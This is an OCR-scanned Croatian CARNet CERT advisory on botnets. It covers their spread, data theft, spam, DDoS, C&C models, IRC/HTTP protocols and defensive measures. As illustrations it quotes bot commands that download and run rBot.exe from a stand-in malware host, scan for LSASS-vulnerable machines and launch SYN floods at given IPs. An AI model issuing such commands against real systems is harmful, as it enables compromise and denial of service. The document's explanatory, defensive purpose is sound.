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Sigurnosni problemi u racunalnim programima i operativnim sustavima podrucje je
na kojem CARNet CERT kontinuirano radi.

Rezultat toga rada ovaj je dokument, koji je nastao suradnjom CARNet CERT-a i
LS&S-a, a za koji se nadamo se da ¢e Vam koristiti u poboljSanju sigurnosti Vaseg
sustava.

CARNet CERT, www.cert.hr - nacionalno srediste za sigurnost racunalnih
mreza i sustava.

{S<cS www.lss.hr - laboratorij za sustave i signale pri Zavodu za

elektronicke sustave i obradbu informacija Fakulteta elektrotehnike i
racunarstva SveuciliSta u Zagrebu.

Ovaj dokument predstavlja vlasnistvo CARNet-a (CARNet CERT-a). Namijenjen je za javnu objavu, njime se moze
svatko koristiti, na njega se pozivati, ali samo u originalnom obliku, bez ikakvih izmjena, uz obavezno
navodenje izvora podataka. KoriStenje ovog dokumenta protivno gornjim navodima, povreda je autorskih prava
CARNet-a, sukladno Zakonu o autorskim pravima. Pocinitelj takve aktivnosti podlijeze kaznenoj odgovornosti
koja je regulirana Kaznenim zakonom RH.
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1. Uvod

Primarna motivacija za provaljivanje u sustave (eng. computer hacking) pomaknula se podosta, od
Cistog vandalizma i Zelje za prepoznavanjem unutar "hakerske zajednice", do stjecanja financijske
dobiti. Velik broj Internetskih napada danasnjice usmjeren je na iskoriStavanje pojedinaca i
organizacija radi zarade, $to Cesto rezultira golemim financijskim gubicima i unistavanjem poslova
diljem svijeta. Istrazivanja koja je 2006. provela FBI (eng. Federal Bureau of Investigation) agencija
pokazuju da Sjedinjene Americke Drzave godisnje trose 67.2 bilijuna dolara na borbu protiv virusa,
tzv. spyware programa, racunalne krade i ostalih zlo¢ina vezanih uz iskoriStavanje racunala.

Jedna od najvecih prijetnji Internetu je prisutnost velike koli¢ine kompromitiranih racunala. Mreze
takvih racunala Cesto se nazivaju botnet mreze ili "zombi vojske", a racunala koja su njihov dio
prisutna su u kuc¢anstvima, skolama, poslovnim zgradama i vladama diljem svijeta. Uglavnom se nalaze
pod kontrolom jednog (ili nekolicine) hakera (tzv. botmaster), a koriste se za izvodenje raznih oblika
napada — od distribuiranih napada uskradivanja usluga (eng. Distributed Denial-of-Service DDoS),
slanja nezeljenih poruka elektronicke poste, iskoristavanja alata za pracenje pritisaka tipki (eng.
keylogger) do Sirenja tzv. malware programa i sl. Za razliku od drugih tipova napada, napadi botnet
mrezama, koje se uglavnom sastoje od nekoliko tisuca racunala, mogu skupiti goleme koli¢ine
racunalne snage i iskoristiti ju za izvodenje razli¢itih napada na Sirokom podrucju. Primjerice,
botmaster moze svakom "zombi racunalu" zapovjediti lansiranje velike koli¢ine posebno oblikovanih
poruka elektronicke poste, izvodenje nekog oblika krade kreditnih kartica (uz pomo¢ keylogger alata)
ili stvaranje DDoS uvjeta istovremeno na velikom broju racunala. Iz tog su razloga hakeri posebno
zainteresirani za koristenje botnet mreza, s ciljem maksimalnog povecanja dobiti. Istovremeno, Steta
koju je moguce proizvesti koristenjem takvih mreza, neusporedivo je veca od Stete nastale
tradicionalnim, diskretnim napadima. Od pocetka i same pojave botnet mreza, uz postojece alate
dodana je nova i naprednija programska podrska, koja omogucava razne nacine izvodenja napada.

Tek su se odnedavno pocele shvacati prijetnje nastale pojavom botnet mreza. Citava Internet
zajednica, zakonodavne organizacije, individualni korisnici i velike kompanije raspravljaju o
moguéostima suprotstavljanja ovom problemu, koji je, moze se zakljuciti, jedna od (ako ne i najveéa)
sigurnosna prijetnja Internet zajednici danas.

U dokumentu je dan kratak opis botnet mreza i njihovih glavnih znacajki te je prikazano nekoliko
jednostavnijih primjera napada. Isto tako, pruza se uvid u nekoliko najé¢es¢ih modela upravljanja
botnet mrezama i protokole koji se pritom koriste. Na kraju teksta prikazana je i nekolicina
mogucénosti zastite.
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2. Opcenito o botnet mrezama

Botnet mreza sastoji se od niza povezanih racunala, koja medusobno suraduju i kojima upravlja jedan
haker(ili manja grupa njih), poznat pod nazivom botmaster. Bot je krajnje racunalo (ili posluzitelj),
koji je ¢lan botnet mreze. Isto tako, taj se naziv koristi i za zlonamjerno oblikovane izvrSne datoteke
koje sluze za dobivanje kontrole nad racunalom i njegovo ukljucivanje u botnet mrezu.
Prva pojava takve mreze zabiljezena je 1999. godine, a bila je povezana s primjenom crva PrettyPark .
Ta je mreza omogucavala spajanje na udaljeni IRC (eng. Internet Relay Chat) posluzitelj, stjecanje
osnovnih informacija o sustavu (kao $to je inacica operacijskog sustava), korisnickim imenima, e-mail
adresama, nadimcima i sl. Buduéi da je imao tako ogranicen skup mogucnosti, PrettyPark crv nije bio
toliko Stetan za Internet zajednicu poput njegovih sljedbenika. Glavna inovacija ovog crva u odnosu
na sve prethodne je moguénost udaljenog upravljanja velikim brojem kompromitiranih racunala.
Njegova revolucionarna ideja iskoristavanja IRC posluzitelja kao diskretne i fleksibilne metode
upravljanja (eng. Command and Control , C&C), uskoro je postala vrlo raSirena te s godinama
poboljsana i usavrSena. Neki od najpoznatijih botova bili su AgoBot i SDBot. Njihovom pojavom,
povecavaju se mogucnosti koje pruzaju njihovi prethodnici te se integriraju s novim metodama
napada. Takva nova vrsta botova postaje snazan alat za izgradnju racunalne "vojske", koja moze
nametnuti goleme prijetnje Internet mrezi danas.
Zajedno s razvojem botnet mreza, mijenja se s vremenom i motivacija za izvodenje Internetskih
napada te glavna motivacija postaje zarada. Hakeri tako postaju zainteresiraniji za napade koji im
omogucuju vecu dobit, a kao $to su:

e distribuirani napad uskracivanje usluga - Distributed Denial-of-Service (DDoS),

e slanje nezeljene elektronicke poste,

e tzv. phishingnapadii

e napadi krade identiteta.
Uskoro se uvida ocita korist primjene botnet mreza za izvodenje takvih napada. Nove mreze razvijaju
se na temelju saznanja dobivenih od njihovih prethodnika i njihov broj nekontrolirano raste.
Primjerice, samo do kolovoza 2004. prethodno spomenuti SDBot crv pojavio se u priblizno 4000
inacica.
Trenutna generacija botnet mreZa integrira kompleksne sustave za upravljanje i kontrolu (eng.
Command and Control C&C) s mnogim moénim alatima. Prenose se kao crvi, skrivaju se kao virusi i
mogu izvesti velike i koordinirane napade. Npr., mogu se Siriti koriStenjem dijeljenih direktorija,
platformi za razmjenu datoteka, P2P (eng. Peer-to-Peer) mreza i/ili iskoriStavanjem ranjivosti
Windows sustava ili onih koje su prouzrocili prethodni crvi. Medusobno komuniciraju koristenjem IRC,
HTTP (eng. Hypertext Transfer Protocol), P2P i drugih kanala. Novi alati koristeni za izvodenje napada
(skeneri, alati za udaljeno iskoristavanje poznatih ranjivosti) mogu se vrlo lako ugraditi u postojece
botnet mreze, jednom kad postanu dostupni za koristenje.
Vazno je uociti da ne postoji vise jasna razlika izmedu virusa, crva i botova — crvi su zapravo virusi,
buduéi da kompromitiraju racunala i skrivaju svoju prisutnost. Glavna razlika izmedu crva i prethodno
poznatih vrsta virusa jest da su se virusi Sirili kopiranjem datoteka prilikom izvodenja, dok se crvi Sire
Internet mreZom, od rac¢unala do racunala (preko raznih malware programa podmetnutih u npr. poruci
elektronicke poste, koji onda omoguéuju udaljeno iskoristavanje neke poznate ranjivosti). Isto tako,
botovi su u osnovi crvi, jer se Sire na jednak nacin - automatski, preko Interneta. Klju¢na razlika
izmedu njih jest Sto botovi imaju posebno ugradene mehanizme koji njihovim vlasnicima omoguéuju
kontrolu nad nizom udaljenih racunala i koordinaciju medu njima. Zakljucuje se da su botovi u stvari
samo unaprijedene inacice crvai virusa.

3. Primjer botnet napada

Slijedeca slika prikazuje uobicajeni tijek botnet napada koji se sastoji od sedam koraka:

Prvi korak: Haker koji kontrolira racunala u botnet mrezi (eng. bot herder) ucita kod za izvodenje
napada na racunalo koriSteno za napad, koje moze biti iskoriSteno samo za ovu svrhu ili pak moze biti
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ve¢ prethodno kompromitirani bof. Mnogi botovi koriste razmjenu datoteka i RPC (eng. Remote
Procedure Call) prikljucke za Sirenje.

Drugi korak: Racunalo koje se koristi za napad pretrazuje ranjivosti i izvodi napade. Racunalo koje ne
posjeduje zakrpe za odredene sigurnosne probleme, postaje zrtva napada.

Treéi i Cetvrti korak: Racunalu Zrtvi nareduje se preuzimanje izvrSnih datoteka s nekog posluzitelja
(¢esto kompromitiranog FTP (eng. File Transfer Protocol) posluzitelja).

Peti korak: Preuzete izvrine datoteke pokrecu se na racunalu Zrtvi i na taj ga nacin pretvaraju u bot.
Nakon toga, novonastali se bot povezuje s odredenim srediSnjim racunalom i "javlja se na duznost".
Sesti korak: Sredisnje racunalo (koje nadzire botove) daje naputke napadnutom racunalu, npr.
naputak za preuzimanje novih modula, kradu osobnih podataka (detalja o korisnickim rac¢unima),
instalaciju tzv. spyware programa, napad na druga racunala i sl.

Sedmi korak: Bot herder kontrolira sva bot racunala izdavanjem naredbi preko sredi$njih racunala
(bot upravljaca).

Zrtvin prozatet
usluga (ISP)
Bot herder
2 "
‘ DN —— Ranjivo
,‘m s ragunalo
Ragunalo za iskoridtavanje =
ranjivosti /)’ ,-F IJ
" o

] )/
\ - e - lI|'
\» 3 —3 /)
\ Posluzitetfzvranih bot v

datoteka

Bot upravlja¢

Slika 1. Uobicajen tijek botnet napada

4. Znacajke botnet mreza

4.1.

Napadacko ponasanje

Ovisno o cilju napada i koristenim alatima, mogu se opisati razli¢ita ponasanja botnet mreza. Isto
tako, ako se ulozi vise truda u razumijevanje njihovog napadackog ponasanja, puno vise stecenih
informacija moze dovesti do bitnih zakljucaka o prirodi mreze, cilju koji njeni vlasnici pokuSavaju
ostvariti ili ¢ak porijeklu hakera. Na temelju tih informacija moguce je osmisliti efikasnije protumjere
(za detekciju, sprec¢avanje i izradu planova za oporavak).
Napadacko ponasanje bot programa manifestira se u Cetiri razlic¢ita oblika:

O Sirenje zaraze na druga racunala,

0 krada osjetljivih informacija,

0 slanje nezeljene elektronicke poste i

0 distribuirani napad uskracivanja usluga.

4.1.1. Sirenje zaraze na druga racunala

Botnet mreze Cesto Sire zarazu na druga racunala na nacin kojim to rade i ostali malware programi
(crvi i virusi). Za to se Cesto koriste principi socijalnog inZenjeringa i slanje zlonamjerno oblikovanih
poruka elektronicke poste (npr. posta koja ima malware program u privitku ili poveznicu prema mjestu
na kojem se nalazi izvrSna datoteka takvog programa). Takve metode koriste se za navodenje korisnika
na pokretanje izvodenja poslanih datoteka, Sto dovodi do kompromitacije racunala. U nastavku je
opisan jednostavan primjer mozebitnog scenarija napada.

Poruka elektronicke poSte oblikovana je tako da ima privlacan naslov (npr.: "Zanimljiva fotografija!"
ili "Moras vidjeti ovu fotografiju!"), a istovremeno sadrzi posebno oblikovan privitak, koji je naizgled
zaista JPG datoteka, a radi se ustvari o Windows izvrSnom programu (fotos.exe). Prema
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podrazumijevanim postavkama Windows operacijskog sustava, Windows Explorer prikazuje datoteku
bez .exe ekstenzije. Korisnik koji ne sumnja u sadrzaj datoteke, vrlo ju lako moze otvoriti i, na taj
nacin, pokrenuti njeno izvrSavanje. Posljedica je, kao Sto je vec prije spomenuto, Sirenje zaraze na
korisnikovo racunalo. Dobro poznat crv WORM_MYTOB koristi opisanu metodu za prenoSenje zaraze na
ranjivo racunalo i njeno Sirenje na niz drugih.

B malware [ ]a
File  Edit Wiew Favaorites Tools  Help !?
@ Back - 2> ‘ﬁ P ) search |l. Falders '

[ T — | g Go

Folders = .
(& Deskrop - & Tf.'i’”a'e r Fatos | €=Virus I!

# [} My Documents

=] } Iy Computer )
5 e Wbl () /} dllydbg ﬁ beans60520

G e f k-3[1].0-beta-2 il by-1.5.4-1.Fc3.i386,
- ramework-3[1].0-beta-2-svn.. ., rubry-1.8.4-1.fc3.i386, rpm
z '_:l Mootk & WinRAR, archive g2l | RPMFle
=50 P 4,283 KB ===l | 247 kB

Slika 2. Primjer zlonamjerno oblikovanog privitka elektronicke poruke

Drugi Cesto koristen nacin Sirenja zaraze je udaljeno iskoristavanje ranjivosti. Bot programi pretrazuju
mrezu i pronalaze ranjiva racunala te aktivno iskoristavaju njihove slabosti. Rac¢unalo zarazeno bot
programom, moze proaktivno traZiti nova racunala s poznatim Windows ranjivostima, poput DCOM RPC
LSASS i WEBDAV ranjivosti. Kako bi to postigao, svaki bot pretrazuje vlastitu podmrezu, pronalazi
ukljucena racunala i testira ih na poznate ranjivosti. Ako je takvo racunalo pronadeno, lansira se
napad i dolazi do kompromitacije ranjivog racunala. Na pocetku potrage za ranjivim racunalima,
racunalo zaraZzeno bot programom najcesce generira snop malih paketa, koje moze biti poprilicno lako
uociti uredajima za nadgledanje mreze. Iz tog je razloga lako otkriti bot racunala tijekom njihovog
napada na nova racunala. Poznati crv WORM_ZOTORB koristi se ovim nacinom Sirenja zaraze.

4.1.2. Krada osjetljivih informacija

Novije botnet mreze ukljucuju sofisticirane alate za kradu osjetljivih osobnih podataka sa zarazenih
racunala. NajceSée koriSteni alati za ovu primjenu su keylogger alati i tzv. osluskivaci mreznog
prometa (eng. network traffic sniffers). Keylogger alati modificiraju operacijski sustav zarazenog
racunala tako da sustav prati korisnicke aktivnosti i pamti pritiske tipki, a osluskivac¢i mreznog
prometa prate promet poslan preko podmreze zarazenog racunala. Takvi alati biljeze i sistematiziraju
dobivene osjetljive informacije, koje zatim periodicki Salju svojim vlasnicima (eng. botmaster)
koriste¢i razlicite komunikacijske kanale. Jedna od cesce koristenih metoda je slanje podataka preko
odredenog IRC kanala (stvorenog specifi¢no za potrebe botnet mreze) ili slanje elektronicke poste s
podacima na odredenu adresu.

4.1.3. Slanje nezeljene elektronicke poste

Botnet mreze se Cesto koriste za razaSiljanje neZeljenih poruka elektronicke poste, iz razlicitih
razloga. Dvije su glavne prednosti botnet mreza, koje hakere navode na njihovo koristenje u te svrhe
(umjesto koristenja samo jednog racunala) — korisnici ne mogu otkriti izvor s kojeg je poruka poslana
i botnet mreze mogu odaslati puno veée koli¢ine poSte zbog goleme racunalne snage i velike
propusnosti koju posjeduju. Kao $to je veé receno, neke se poruke koriste za distribuciju zlonamjerno
oblikovanih programa. Neke sluze za navodenje korisnika na posjet zlonamjerno oblikovanim web
stranicama, prilikom cega, zahvaljujuéi poznatim ranjivostima Internet preglednika, dolazi do
instalacije malware programa na njihovo racunalo. Slijedi opis tipi¢ne situacije.

NeZeljena poruka, oblikovana npr. kao pozdravna poruka, poslana je na zrtvinu adresu. Korisnik slijedi
poveznicu na pozdravnu poruku, a ranjivi ga Internet preglednik preusmjerava na zlonamjerno
oblikovanu web stranicu. Takve se stranice koriste u razne svrhe, npr. za reklamiranje ilegalne
trgovine, kao Sto je trgovina jeftinim Rolex satovima, Viagrom i sl. Druge se koriste za izvodenje
napada kradom identiteta i osobnih podataka korisnika, itd.
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4.1.4. Distribuirani napad uskracivanja usluga

Distribuirani napad uskracdivanja usluga (200S5) je jedan od najstarijih mehanizama koje koriste botnet
mreze. U pocetnoj fazi razvoja, hakeri su koristili botnet mreze za lansiranje napada na odredeni broj
velikih organizacija, s ciljem iscrpljivanja svih dostupnih procesnih resursa njihovih platformi i
zauzimanje dostupnog komunikacijskog kanala, $to je za posljedicu imalo usporavanje ili ¢ak potpuno
uskracivanje njihovih usluga. Primjerice, u proteklih nekoliko godina, takve su se situacije dogadale
brojnim velikim organizacijama, poput Yahoo/!-a i Microsofta. Ovakav se tip napada koristi i danas, ali
je njihova pojava rjeda i manjeg obujma od prethodnih, a nedavno su se DDoS napadi koristili i za
ucjenu. Botnet mreze uglavnom koriste velik broj razli¢itih alata za napad, kao $to je UDP (eng. User
Datagram Protocol) preplavljivanje, TCP (eng. Transmission Control Protocol) SYN preplavljivanje,
HTTP (eng. Hypertext Transfer Protocol) preplavljivanje i sl. Neki bot programi, kao Sto je PhatBot,
posjeduju ¢ak vrlo prilagodljive alate za DDoS napad ugradene u svoj kod. AgoBot, SDBoti PhatBot su
samo neki od bot programa koji se, izmedu ostalog, koriste i za lansiranje DDoS napada na razne mete.

4.2. Modeli upravljanja

Slijedi opis rada C&C sustava. Na pocetku botmaster postavi C&C (tipicno IRC) posluzitelj. Nakon $to
bot virus zarazi racunalo, ono uspostavi vezu s postavljenim C&C posluziteljem i ceka naredbe. U
tipi¢noj IRC potnet mrezi, bot osluskuje odredene IRC kanale s ciljem primanja poruka mastera. Jedna
od moguéih mozZe biti poruka, koja od rac¢unala trazi pretrazivanje ostalih racunala u podmrezi, s ciljem
pronalaska onih koja su osjetljiva na LSASS (eng. Local Security Authority Subsystem Service) napade:

Advscan Isass 200 5 0 —r —s

Prethodna poruka je, kao i slijedece, poruka jednog od poznatih bot programa. Slijedeéa od zarazenog
raCunala  trazi preuzimanje novog malware  programa rBot.exe s lokacije
http://www.malware.com/~mugenxu/rBot.exe te njegovo izvodenje, dok se posljednja koristi za
pokretanje tzv. syn flood napada na IP adresu 133.98.8.120 koristenjem podrazumijevanog FTP
prikjucka (21/TCP) :

http.update
http://www._malware.com/~mugenxu/rBot._exe c:\msy32awds.exe 1

-ddos.syn 133.98.8.120 21 200

Gornje primjere treba promatrati samo kao ilustraciju stvarnog stanja, jer u stvarnosti C&C sustavi
koriste razne arhitekture i dolaze u razli¢itim oblicima.

C&C sustavi mogu se grubo podijeliti u dvije skupine — sustave sa sredisnjim i modelom upravljanja
temeljenim na P2P mreZama. Vjeruje se da su ove dvije skupine dostatne za pokrivanje svih danasnjih
botnet mreza. Ipak, uzimajuéi u obzir ubrzani razvoj botnet mreza, ocekuje se da ¢e u buduénosti neke
nove mreze koristi nove sustave za upravljanje, potpuno razli¢ite od dvaju spomenutih.

4.2.1. Sredisnji model upravljanja

U sredisnjem modelu upravljanja, botmaster odabire jedno racunalo visoke propusnosti, koje postaje
dodirna tocka (C&C posluzitelj) svih bot racunala. Takav posluzitelj ima pokrenute odredene mrezne
servise (IRC, HTTP i sl.). Kada dode do zaraze novog racunala, ono se poveze u mrezu preko C&C
posluzitelja. Tako povezan na odgovarajuéi kanal, novonastali bot ceka naredbe koje preko
posluzitelja Salje botmaster. Neke botnet mreze posjeduju i mehanizme za zastitu komunikacije, npr.
IRC kanali zasti¢uju se zaporkama poznatim samo bot racunalima i njihovim vlasnicima, kako bi se
sprijecilo prisluskivanje.

Postoje tri razloga za koristenje sredisnjeg modela upravljanja. Prvi je jednostavnost implementacije i
prilagodbe, koja je posljedica raznolikosti dostupnih programskih alata. Botmasteri mogu ovim
modelom jednostavno nadzirati tisuce bot racunala, Sto im omogucava lakSe ostvarenje maksimalne
dobiti. Bududéi da im to i jest glavni cilj, ve¢ina ih se odlucuje upravo za opisani model. Drugi je razlog
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za koristenje postojanje malog broja protumjera za borbu protiv centraliziranih botnet mreza, a treéi
je malo kasnjenje poruka, Sto hakerima omoguéuje jednostavnu koordinaciju rac¢unala i napada.
Najslabija karika ovakvog sustava je upravo C&C posluzitelj , buduéi da se sva komunikacija odvija
preko njega. Otkrivanjem i unistenjem posluzitelja, unistava se i Citava mreZa. Primjeri botnet mreza
koje koriste ovaj model su AgoBot SDBoti Zotob.

4.2.2. Model upravljanja temeljen na P2P mrezama

Neki autori botnet mreza poceli su stvarati alternativne komunikacijske sustave, otpornije na razlicite
probleme koji mogu nastati u mrezi. Jedna od ideja za implementaciju takve komunikacije, a koju,
primjerice, koriste neke inacice Phatbot mreze, jest upravljanje temeljeno na P2P mrezama. Ipak, jos
uvijek postoji malo mreza s ovakvim modelom upravljanja. Za razliku od srediSnjeg modela, spomenuti
je model puno teze otkriti i unistiti, buduéi da komunikacija u ovom slucaju ne ovisi potpuno o
jednom (ili nekoliko) posluzitelja pa unistenjem nekolicine racunala ne dolazi nuzno do unistenja
Citave mreze. Predvida se da ¢e C&C model temeljen na P2P mrezama postati Siroko koristen u botnet
mrezama buduénosti. Ovakav model nesumnjivo predstavlja i puno veéi izazov za ljude koji se bave
izradom protumjera.

4.3. Komunikacijski protokoli

Kao i mnogo drugih programskih alata koji se temelje na mreznoj komunikaciji, bot programi
komuniciraju medusobno i sa svojim vlasnicima putem dobro definiranih mreznih protokola. U vecini
slu¢ajeva, botnet mreze ne stvaraju nove mrezne protokole, veé koriste postojece, implementirane
javno dostupnim programskim alatima (npr. IRC protokol te javno dostupne programske
implementacije IRC klijenata i posluzitelja).

4.3.1. IRC protokol

Bududi da se botnet mreze temeljene na IRC protokolu lakSe implementiraju, nije cudo da je upravo taj
protokol najpopularniji i najcesce koristen za botnet komunikaciju. Ovaj je protokol uglavnom razvijen
za komunikaciju u grupama (eng. many-to-many), u diskusijskim forumima zvanim "kanali", ali
podrzava i jedan na jedan (eng. one-to-one) komunikaciju privatnim porukama. To je vrlo korisno za
hakere, buduéi da su na taj nacin u mogucnosti slati naredbe Citavoj mrezi bot rac¢unala ili samo
nekolicini, putem privatnih poruka. Botnet C&C posluzitelj ima pokrenut IRC servis, koji se ni po cemu
ne razlikuje od uobicajenih IRC servisa. Botmaster najcesce kreira odredeni IRC kanal na posluzitelju,
a na njega se spajaju sva botracunala, cekajuéi na naredbe. Pregledom IRC mreznog prometa najcesée
je moguce otkriti prisutnost botnet mreza u lokalnoj mrezi, buduéi da u korporativnim mrezama
uglavnom nije dozvoljena uporaba IRC klijenata/posluzitelja. Primjerice, ako administrator mreze
otkrije odaslani promet slican dolje prikazanom, to obi¢no dokazuje da je lokalno racunalo
kompromitirano te se koristi kao C&C posluzitelj botnet mreze.

<— IHrcl. XXXXXX.XXX NOTICE AUTH :*** Looking up your hostname...
<— IHrcl_ XXXXXX.XXX NOTICE AUTH :*** Found your hostname

-> PASS secretserverpass

-> NICK [urX]-700159

-> USER mltfvt 0 O :mltfvt

<- 1Ircl XXXXXX.XXX NOTICE [urX]-700159 :*** If you are having
problems

connecting due to ping timeouts, please type /quote pong ED322722
or /raw pong

ED322722 now.

<- PING :ED322722

-> PONG :ED322722

<— IHrcl_ XXXXXX.XXX 001 [urX]-700159 :Welcome to the

1rcl . XXXXXX. XXX IRC

Network [urX]-700159Imltfvt@nicetry

<- IIrcl_ XXXXXX.XXX 002 [urX]-700159 :Your host is ircl.XXXXXX.XXX,
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running

version Unreal3.2-betal9

<= IHrcl. XXXXXX.XXX 003 [urX]-700159 :This server was created Sun
Feb 8 18:58:31

2004

<= ZIrcl. XXXXXX.XXX 004 [urX]-700159 ircl.XXXXXX.XXX Unreal3.2-

betal9 iowghraAsORTVSXNCWqBzvdHtGp
IvhopsmntikrRcaqOALQbSeKVFMGCuzN

Isto tako, ako administrator otkrije ulazni promet slican nize prikazanom primjeru, to obicno znadi
kako je lokalno racunalo postalo novi ¢lan botnet mreze i inicira vezu sa C&C posluziteljem. Moguce je
pomocu vatrozida blokirati IRC promet, odnosno prekinuti veze inicirane s vanjskih mreza, a prema
unutarnjim racunalima. Puno je teZe otkriti IRC kanale tunelirane HTTP prikljuckom. Neki ISP (eng.
Internet service provider) uredaji koriste se upravo za blokiranje IRC prometa ugradenog u HTTP.

Ono sto razlikuje IRC botnet mreze od obic¢ne IRC klijent/posluzitelj arhitekture jest da bot racunala
imaju skripte za obradu poruka, s prilagodljivom sintaksom, a koje se 3alju u njihove kanale. Nakon
primitka poruke i njene obrade, bot racunala izvode zlonamjerne funkcije na temelju primljenog
sadrzaja. Npr. u potonjoj poruci, botmaster izdaje dvije naredbe - "zaustavi skeniranje" i "zapocni
DDoS napad koristenjem TCP SYN preplavljivanja". Nakon $to bot racunalo primi opisanu poruku,
prestaje sa pretrazivanjem svoje podmreze i pokrece DoS napad na IP adresu 151.49.8.101.

[###FO0###] <~nickname> .scanstop
[###FO0###] <~nickname> .ddos.syn 151.49.8.101 21 200

Razlicite botnet mreze koriste razli¢itu sintaksu. Na taj nacin, proucavanjem sintakse poruka i naredbi,
lako se dolazi do dodatnih informacija o botnet mrezama i njihovom porijeklu.

4.3.2. HTTP protokol

HTTP protokol je takoder jedna od popularnijih metoda komunikacije koristenih u botnet mrezama.
Dvije su temeljne prednosti upotrebe ovog protokola. S jedne se strane mreza koja se temelji na HTTP
protokolu bolje skriva u ostatku Internet prometa, dok, s druge strane, administratori rijetko mogu
zabraniti cijeli HTTP promet, Sto mreZi ostavlja trajno otvoren komunikacijski kanal te joj ujedno
predstavlja jednu od optimalnih tehnika zaobilaZzenja sigurnosnih pravila.

HTTP protokol se u nekoliko botnet mreza koristi za srediSnje upravljanje. Npr. Bobax bot koristi HTTP
protokol za komunikaciju sa C&C posluziteljem. Bobax trojanski konj komunicira s posluziteljem
slanjem URL (eng. Uniform Resource Locator) adrese nalik na sljedecu:

http://hostname/reg?u=ABCDEF01&v=114

Otkrivanje botnet mreza koje koriste HTTP protokol za komunikaciju puno je teze, jer se takav promet
uglavnom mijeSa s golemim koli¢inama normalnog HTTP mreznog prometa. Ipak, razvojem
odgovarajucih filtera, njegovo je otkrivanje moguce, buduéi da se ipak razlikuje od normalnog HTTP
prometa (posjeduje npr. abnormalna HTTP zaglavlja odgovora ili abnormalan sadrzaj stranica).

4.3.3. Ostali protokoli

Neke naprednije botnet mreze koriste i druge protokole (IM protokoli, P2P protokoli) za komunikaciju.
Novije inacice Phatbota (nasljednik AgoBota) koriste P2P komunikaciju i to kriptiranu implementaciju
P2P protokola, dizajniranu za komunikaciju privatnim porukama i razmjenu datoteka izmedu malog
broja povjerljivih strana. Ipak, broj botnet mreza koje ne koriste IRC ili HTTP komunikaciju je relativno
malen. U buduénosti postoji moguénost Sire uporabe drugih protokola, Sto bi takoder predstavljalo
vece izazove prilikom razvoja protumjera.
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4.4, Tehnike izbjegavanja zastitnih sustava

Poboljsanja i razvoj botnet mreza ne prestaju i one postaju svakim danom sve naprednije. Novije
mreZze ne samo da uspjevaju prevariti antivirusne alate i IDS (eng. Intrusion detection systems)
sustave, nego uspjesno zaobilaze i sustave za pracenje anomalija u podacima. Postoje razne tehnike
koje botnet mreze koriste za zaobilazenje AV i IDS sustava temeljenih na potpisima (npr. tehnike
zaobilazenja protokola, rootkit alati i sl.). Takve tehnike povecavaju zivotni vijek botnet mreza i
omogucuju vedéi uspjeh u kompromitaciji novih racunala.

Dodatno, dodaju se i mehanizmi za prikrivanje komunikacije unutar mreze, $to kod nekih mreza znaci
prekid komunikacije putem dobro pradenog IRC protokola. Umjesto toga, koriste se modificirane
inacice IRC protokola ili drugi protokoli (HTTP, Voice over Internet Protocol -VoIP). Koriste se i razne
kriptografske metode za zastitu sadrzaja komunikacije (npr. TCP, ICMP i IPv6 tuneliranje). Postoje i
diskusije u kojima se raspravlja o moguénosti koristenja Skypei IM (eng. Instant Messaging) alata za
komunikaciju. Pojava takvih mreza samo je pitanje vremena.

5. Zastita od botnet napada

Ako je na racunalu izveden napad uskracivanja usluga, postoji malo nacina zastite. Buduci da su
racunala ukljucena u botnet mrezu geografski rastrkana, tesko je otkriti tocan identitet napadaca.
Jedan od nacina zastite je pasivna detekcija operacijskog sustava (eng. Passive 0S Fingerprinting) —
administratori mogu konfigurirati vatrozide u mrezi tako da poduzimaju nove akcije prilikom botnet
napada i to akcije temeljene na informacijama o operacijskom sustavu racunala koje izvodi napad. Za
najozbiljnije preventivne mjere implementiraju se sustavi temeljeni na specijaliziranom sklopovlju.
Starije botnet mreze tipicno koriste besplatne DNS (eng. Domain Name System) servise (OynDns.org,
No-IP.com, Afraid.org) kako bi kreirale poddomenu IRC posluzitelju koji upravlja bot racunalima.
Uklanjanje takvih servisa moze nastetiti Citavoj botnet mrezi. Neke su tvrtke nedavno ulozile trud i
ocistile svoje domene od takvih poddomena. U botnet se zajednici ti postupci nazivaju " nullrouting"
(null-usmjeravanje), jer DNS servisi uglavhom usmjeravaju napadacke poddomene prema
nepristupacnim IP adresama.
Struktura sredis$nje upravljanih botnet posluzitelja ima urodene ranjivosti i probleme. Primjerice, ako
dode do otkrivanja jednog posluzitelja na botnet kanalu, ¢esto ¢e doéi i do otkrivanja ostalih
posluzitelja i samih bot racunala. Isto tako, ako nema redundantnih veza prema posluzitelju,
nepovezanost jednog posluzitelja moze uzrokovati rusenje Citave botnet mreze. Ipak, programska
podrska cescih IRC posluzitelja, uklju¢uje moguénosti maskiranja drugih posluzitelja i ot racunala u
mrezi, tako da otkrivanje jednog kanala ne dovede do raskida Citave mreze.
Neke sigurnosne tvrtke (Symantec Trend Micro, Firefye Simplicita i Damballa) objavile su razna
rjeSenja za zaustavljanje botnet mreza. Dok su neke, kao npr. Norton Anti-Bot namijenjene malim
korisnicima, vecina ih je namijenjena zastiti tvrtki i pruzatelja usluga (ISP). Neke tehnike temeljene
na racunalima koriste heuristicke algoritme za otkrivanje bot ponasanja koje je obi¢ni antivirusni
program propustio detektirati. Druge, temeljene na mrezama, koriste razne tehnike, poput gasenja C&C
posluzitelja, null-usmjeravanja DNS ulaza ili potpunog gasenja IRC posluzitelja.
Novije su botnet mreze gotovo potpuno temeljene na P2P tehnologiji, s upravljanjem ugradenim u
samu mrezu i nazivom domene kao jedinom slabom karikom - nekad su domene registrirane
neobicnim imenima, Cesto s ukradenim kreditnim karticama i laznim identifikacijskim atributima.
Vezano uz konkretne mjere suprotstavljanja botnet aktivnostima potrebno je razlikovati situaciju
malog korisnika i korporacije. Mali korisnik, kao mjeru prevencije, moze uciniti slijedece:

e  koristiti nadogradene antivirusne i anti-spyware programe,

e  koristiti nadogradene operacijske sustave i primijeniti posljednje izdane zakrpe,

e  koristiti lokalni vatrozid te pratiti njegov zapisnik i uzbune,

e onemoguditi aktivno izvrSavanje skripti unutar preglednika,

e prijaviti neuobicajeno ponasanje,

e izhjegavati posjet sumnjivim web stranicama,

e izbjegavati otvaranje sumnjivih privitaka elektronicke poste i

e izbjegavati instalaciju programskih alata preuzetih iz nesigurnih izvora.
Za razliku od njega korporacije mogu i trebaju uciniti i slijedeée:
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e izraditi/pribaviti odgovarajuce zastitne mehanizme i odgovarajuée postaviti opseg njihovog
djelovanja,

e  blokirati uspostavu izlaznih veza prema prikljucku 6667, ako im nije potrebna IRC
komunikacija te

e redovito pratiti IDS i IPS sustave, s ciljem otkrivanja anomalija u ostvarenom prometu.
